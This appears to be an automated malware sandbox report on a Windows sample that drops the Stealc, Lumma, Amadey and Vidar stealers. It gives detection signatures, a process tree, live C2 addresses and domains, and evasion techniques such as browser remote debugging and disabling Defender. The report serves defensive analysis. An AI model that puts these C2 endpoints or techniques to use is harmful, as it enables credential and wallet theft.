Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1556957
MD5:	25e27549e1527d5aaf41a3c33ad2e6d4
SHA1:	635720e9d526da14d1130b79c079c119ed27d61c
SHA256:	661b613ae0265d5595e719f7cb755ed063f15b31ba1e91dc02198bfa9974f5c3
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7340 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 25E27549E1527D5AAF41A3C33AD2E6D4)

chrome.exe (PID: 7580 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7804 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,1856153445990450986,14719946198710532019,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7700 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2020 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2288,i,8108119705186044268,9136360584141256623,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7332 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKFBGDBFBKK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsKFBGDBFBKK.exe (PID: 1276 cmdline: "C:\Users\user\DocumentsKFBGDBFBKK.exe" MD5: 3C2DD6E6C50D2E0FFA7D6BFDE254ABE5)

skotes.exe (PID: 6292 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3C2DD6E6C50D2E0FFA7D6BFDE254ABE5)

msedge.exe (PID: 3176 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7908 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8808 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6776 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8836 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6952 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5316 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4160 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4124 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2524 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2812 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=744 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1128 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7044 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8668 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3C2DD6E6C50D2E0FFA7D6BFDE254ABE5)

e7dea42e57.exe (PID: 8940 cmdline: "C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe" MD5: 771A68F18853ECF47B4AB531D7AED0ED)

chrome.exe (PID: 1276 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2460 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1988,i,21939172132999769,2787057012611107708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6304 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3384 --field-trial-handle=1988,i,21939172132999769,2787057012611107708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

6cb554c070.exe (PID: 7792 cmdline: "C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe" MD5: 25E27549E1527D5AAF41A3C33AD2E6D4)

skotes.exe (PID: 516 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3C2DD6E6C50D2E0FFA7D6BFDE254ABE5)

b39ed05e31.exe (PID: 7428 cmdline: "C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe" MD5: 994485BEF410515EBACC301BFB847681)

e7dea42e57.exe (PID: 6284 cmdline: "C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe" MD5: 771A68F18853ECF47B4AB531D7AED0ED)

chrome.exe (PID: 7792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2012,i,997493168856611365,3389256609775755856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

6cb554c070.exe (PID: 7544 cmdline: "C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe" MD5: 25E27549E1527D5AAF41A3C33AD2E6D4)

e7dea42e57.exe (PID: 4796 cmdline: "C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe" MD5: 771A68F18853ECF47B4AB531D7AED0ED)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "p10tgrace.sbs", "processhol.sbs", "p3ar11fter.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000014.00000002.2597591195.00000000001E1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2938904048.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2497943980.0000000000211000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.3275745985.00000000010A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2812437096.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3001205513.0000000000501000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.3247413160.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2958896152.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.3042952469.0000000000401000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2990866260.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2855713450.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.3276605524.00000000010AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2974552760.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2500046632.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2990128091.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.3267694473.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2975502163.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2938451798.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2063052849.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2942042952.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.3210910013.00000000010A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2852960871.0000000000401000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.3246273700.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.3208479965.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.2991899149.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.3206642862.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2642470466.00000000000F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2978097870.00000000004F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7340	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7340	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7340	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e7dea42e57.exe PID: 8940	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e7dea42e57.exe PID: 8940	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e7dea42e57.exe PID: 8940	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6cb554c070.exe PID: 7792	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6cb554c070.exe PID: 7792	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e7dea42e57.exe PID: 6284	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e7dea42e57.exe PID: 6284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e7dea42e57.exe PID: 6284	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6cb554c070.exe PID: 7544	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6cb554c070.exe PID: 7544	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e7dea42e57.exe PID: 4796	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e7dea42e57.exe PID: 4796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e7dea42e57.exe PID: 4796	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 43 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.2.skotes.exe.f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsKFBGDBFBKK.exe.1e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8668, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e7dea42e57.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7340, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7580, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8668, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e7dea42e57.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:13.796060+0100	2028371	3	Unknown Traffic	192.168.2.5	50122	188.114.96.3	443	TCP
2024-11-16T19:23:15.040351+0100	2028371	3	Unknown Traffic	192.168.2.5	50124	188.114.96.3	443	TCP
2024-11-16T19:23:16.760295+0100	2028371	3	Unknown Traffic	192.168.2.5	50126	188.114.96.3	443	TCP
2024-11-16T19:23:19.290054+0100	2028371	3	Unknown Traffic	192.168.2.5	50127	188.114.96.3	443	TCP
2024-11-16T19:23:21.263802+0100	2028371	3	Unknown Traffic	192.168.2.5	50132	188.114.96.3	443	TCP
2024-11-16T19:23:24.637573+0100	2028371	3	Unknown Traffic	192.168.2.5	50138	188.114.96.3	443	TCP
2024-11-16T19:23:26.688863+0100	2028371	3	Unknown Traffic	192.168.2.5	50143	188.114.96.3	443	TCP
2024-11-16T19:23:28.870573+0100	2028371	3	Unknown Traffic	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-16T19:23:30.097329+0100	2028371	3	Unknown Traffic	192.168.2.5	50147	188.114.96.3	443	TCP
2024-11-16T19:23:31.767728+0100	2028371	3	Unknown Traffic	192.168.2.5	50148	188.114.96.3	443	TCP
2024-11-16T19:23:32.698969+0100	2028371	3	Unknown Traffic	192.168.2.5	50149	188.114.96.3	443	TCP
2024-11-16T19:23:33.447996+0100	2028371	3	Unknown Traffic	192.168.2.5	50151	188.114.96.3	443	TCP
2024-11-16T19:23:35.352792+0100	2028371	3	Unknown Traffic	192.168.2.5	50153	188.114.96.3	443	TCP
2024-11-16T19:23:37.908557+0100	2028371	3	Unknown Traffic	192.168.2.5	50155	188.114.96.3	443	TCP
2024-11-16T19:23:40.199692+0100	2028371	3	Unknown Traffic	192.168.2.5	50158	188.114.96.3	443	TCP
2024-11-16T19:23:42.633168+0100	2028371	3	Unknown Traffic	192.168.2.5	50160	188.114.96.3	443	TCP
2024-11-16T19:23:54.355994+0100	2028371	3	Unknown Traffic	192.168.2.5	50215	188.114.96.3	443	TCP
2024-11-16T19:23:56.867336+0100	2028371	3	Unknown Traffic	192.168.2.5	50226	188.114.96.3	443	TCP
2024-11-16T19:23:58.640902+0100	2028371	3	Unknown Traffic	192.168.2.5	50233	188.114.96.3	443	TCP
2024-11-16T19:24:00.473884+0100	2028371	3	Unknown Traffic	192.168.2.5	50238	188.114.96.3	443	TCP
2024-11-16T19:24:02.546269+0100	2028371	3	Unknown Traffic	192.168.2.5	50245	188.114.96.3	443	TCP
2024-11-16T19:24:05.355742+0100	2028371	3	Unknown Traffic	192.168.2.5	50248	188.114.96.3	443	TCP
2024-11-16T19:24:07.202573+0100	2028371	3	Unknown Traffic	192.168.2.5	50253	188.114.96.3	443	TCP
2024-11-16T19:24:09.704817+0100	2028371	3	Unknown Traffic	192.168.2.5	50255	188.114.96.3	443	TCP
2024-11-16T19:26:51.302761+0100	2028371	3	Unknown Traffic	192.168.2.5	50348	20.189.173.13	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:14.360707+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50122	188.114.96.3	443	TCP
